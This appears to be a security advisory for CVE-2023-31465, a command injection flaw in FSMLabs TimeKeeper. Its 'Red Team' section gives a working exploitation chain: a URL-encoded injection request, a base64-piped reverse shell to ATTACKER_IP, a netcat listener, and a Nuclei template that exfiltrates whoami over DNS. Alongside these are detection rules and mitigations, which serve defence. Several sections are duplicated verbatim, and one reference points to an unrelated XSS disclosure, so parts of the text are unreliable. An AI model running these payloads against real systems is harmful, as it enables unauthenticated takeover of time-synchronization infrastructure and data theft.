CVE-2023-31465

Executive Summary

CVE-2023-31465 is a critical unauthenticated remote code execution (RCE) vulnerability in FSMLabs TimeKeeper versions 8.0.17 through 8.0.28. The flaw resides in the getsamplebacklog endpoint, where the arg[2] parameter is passed unsanitized into a Bash shell. An attacker can inject arbitrary commands by crafting a malicious JSON payload within arg[2], leading to full compromise of the time synchronization infrastructure. The vulnerability has a CVSS score of 9.8 (Critical) and a high EPSS score of 0.90545, indicating active exploitation risk. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability affects a proprietary time synchronization appliance (FSMLabs TimeKeeper). It is not an open-source package (NPM, PyPI, Go, Ruby), so supply chain package security considerations are not directly applicable. However, organizations using TimeKeeper should treat it as a critical infrastructure component and isolate it from untrusted networks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerable component only.
• Confidentiality Impact: High (C:H) – full data access.
• Integrity Impact: High (I:H) – full system control.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: Critical. The vulnerability is trivial to exploit, has public proof-of-concept code, and targets a core infrastructure service (time synchronization). Compromise can lead to lateral movement and persistent access.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the getsamplebacklog endpoint of FSMLabs TimeKeeper. The endpoint accepts multiple arg[x] parameters, where x is an integer starting from 1. The arg[2] parameter is expected to contain a JSON object with fields like type, earliest, latest, origins, and seriesID. However, the server passes this JSON directly into a Bash command without sanitization.

Attack Flow:

1. An attacker sends a GET request to /getsamplebacklog with a crafted arg[2] parameter.
2. The arg[2] value contains a JSON object where the earliest field includes a Bash command injection payload using || or $(...) syntax.
3. The server executes the injected command in the context of the TimeKeeper service.
4. The attacker can exfiltrate data, establish a reverse shell, or pivot to other systems.

Example Payload (from Nuclei template):

arg2={"type":"client","earliest":"1676976316.328||nslookup $(xxd -pu <<< $(whoami)).{{interactsh-url}}||x","latest":1676976916.328,"origins":[{"ip":"{{Hostname}}","source":0}],"seriesID":3}

The earliest field contains ||nslookup $(xxd -pu <<< $(whoami)).{{interactsh-url}}||x, which executes a DNS lookup to exfiltrate the username.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The server likely constructs a Bash command similar to:

getsamplebacklog --arg1 "$arg1" --arg2 "$arg2" --arg3 "$arg3"

Where $arg2 is not sanitized, allowing injection.

Patched Code (Expected): The patched version should:

• Validate that arg[2] is a valid JSON object.
• Sanitize or escape all string values within the JSON before passing to Bash.
• Use parameterized APIs instead of shell commands.

Since no official patch is available, the exact patched code is unknown.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running FSMLabs TimeKeeper 8.0.17-8.0.28.
• Network access to the getsamplebacklog endpoint.

Exploitation Steps:

1. Identify the target and confirm the endpoint:

   curl -k "https://target/getsamplebacklog?arg1=test&arg2=test&arg3=test"
   

2. Craft a payload to execute a command (e.g., reverse shell):

   # Base64 encode a reverse shell command
   echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64
   

3. Inject the payload into arg[2]:

   curl -k "https://target/getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cecho%20%22BASE64_ENCODED_PAYLOAD%22%20%7c%20base64%20-d%20%7c%20bash%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22target%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined"
   

4. Listen for the reverse shell:

   nc -lvnp 4444
   

Nuclei Template (Provided):

id: CVE-2023-31465

info:
  name: TimeKeeper by FSMLabs - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
  impact: |
    Unauthenticated attackers can inject Bash commands through the arg[2] parameter in getsamplebacklog endpoint to execute arbitrary commands on the server, potentially compromising the entire TimeKeeper time synchronization infrastructure.
  remediation: |
    Update FSMLabs TimeKeeper to a version newer than 8.0.28 that properly sanitizes input parameters in getsamplebacklog and prevents command injection attacks.
  reference:
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31465
    - https://fsmlabs.com/fsmlabs-cybersecurity/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31465
    epss-score: 0.90545
    epss-percentile: 0.99616
    cpe: cpe:2.3:a:fsmlabs:timekeeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fsmlabs
    product: timekeeper
    shodan-query: http.favicon.hash:2134367771
    fofa-query: icon_hash=2134367771
  tags: cve,cve2023,timekeeper,rce,oast,fsmlabs,vkev,vuln

http:
  - raw:
      - |
        GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '{"seriesID":'

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP logs for requests to /getsamplebacklog with multiple arg[x] parameters.
2. Look for suspicious patterns in arg[2] such as ||, $(, or backticks.
3. Alert on DNS queries to unknown domains originating from the TimeKeeper server.
4. Use the provided YARA and Sigma rules for host-based detection.

Honeypot Setup:

• Deploy a fake TimeKeeper instance on a isolated network segment.
• Log all requests to /getsamplebacklog and analyze for injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /getsamplebacklog with arg[2] containing ||, $(, or backticks.
• DNS queries to *.interactsh.com or other out-of-band (OOB) domains.
• Outbound connections to unknown IPs on high ports (e.g., 4444).

Host IOCs:

• Unexpected processes spawned by the TimeKeeper service (e.g., bash, nslookup, curl).
• Files created in /tmp/ with suspicious names.
• Modified system binaries or configuration files.

YARA Rule:

rule CVE_2023_31465_TimeKeeper_RCE {
    meta:
        description = "Detects command injection attempts in TimeKeeper getsamplebacklog endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-31465"
    strings:
        $injection1 = "||" ascii wide
        $injection2 = "$(" ascii wide
        $injection3 = "`" ascii wide
        $endpoint = "/getsamplebacklog" ascii wide
    condition:
        $endpoint and any of ($injection*)
}

Sigma Rule:

title: CVE-2023-31465 TimeKeeper Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the getsamplebacklog endpoint with command injection patterns
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31465
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "/getsamplebacklog"
            - "arg2="
    injection:
        cs-uri-query|contains:
            - "||"
            - "$("
            - "`"
    condition: selection and injection
falsepositives:
    - Legitimate use of special characters in JSON (unlikely)
level: critical

Suricata Rule:

alert http any any -> any any (msg:"CVE-2023-31465 TimeKeeper Command Injection Attempt"; flow:to_server; content:"/getsamplebacklog"; http_uri; content:"arg2="; http_uri; pcre:"/(\|\||\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2023_31465_TimeKeeper_RCE {
    meta:
        description = "Detects command injection attempts in TimeKeeper getsamplebacklog endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-31465"
    strings:
        $injection1 = "||" ascii wide
        $injection2 = "$(" ascii wide
        $injection3 = "`" ascii wide
        $endpoint = "/getsamplebacklog" ascii wide
    condition:
        $endpoint and any of ($injection*)
}

Sigma Rule

title: CVE-2023-31465 TimeKeeper Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the getsamplebacklog endpoint with command injection patterns
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31465
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "/getsamplebacklog"
            - "arg2="
    injection:
        cs-uri-query|contains:
            - "||"
            - "$("
            - "`"
    condition: selection and injection
falsepositives:
    - Legitimate use of special characters in JSON (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-31465 TimeKeeper Command Injection Attempt"; flow:to_server; content:"/getsamplebacklog"; http_uri; content:"arg2="; http_uri; pcre:"/(\|\||\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-31465

info:
  name: TimeKeeper by FSMLabs - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
  impact: |
    Unauthenticated attackers can inject Bash commands through the arg[2] parameter in getsamplebacklog endpoint to execute arbitrary commands on the server, potentially compromising the entire TimeKeeper time synchronization infrastructure.
  remediation: |
    Update FSMLabs TimeKeeper to a version newer than 8.0.28 that properly sanitizes input parameters in getsamplebacklog and prevents command injection attacks.
  reference:
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31465
    - https://fsmlabs.com/fsmlabs-cybersecurity/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31465
    epss-score: 0.90545
    epss-percentile: 0.99616
    cpe: cpe:2.3:a:fsmlabs:timekeeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fsmlabs
    product: timekeeper
    shodan-query: http.favicon.hash:2134367771
    fofa-query: icon_hash=2134367771
  tags: cve,cve2023,timekeeper,rce,oast,fsmlabs,vkev,vuln

http:
  - raw:
      - |
        GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '{"seriesID":'

Remediation & Mitigation

Immediate Actions:

1. Isolate affected TimeKeeper instances from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Monitor logs for exploitation attempts using the provided detection rules.
3. Apply virtual patching via WAF rules to block requests containing ||, $(, or backticks in arg[2].

Long-Term Fix:

• Contact FSMLabs for an official patch. If unavailable, consider migrating to an alternative time synchronization solution.
• Implement input validation and parameterized commands in the application code.

Workaround:

• Disable the getsamplebacklog endpoint if not required, or restrict access to trusted IPs only.

Valters IT

{/* [Security Hash: 3A045D3B208C8BCB748DDA39] */}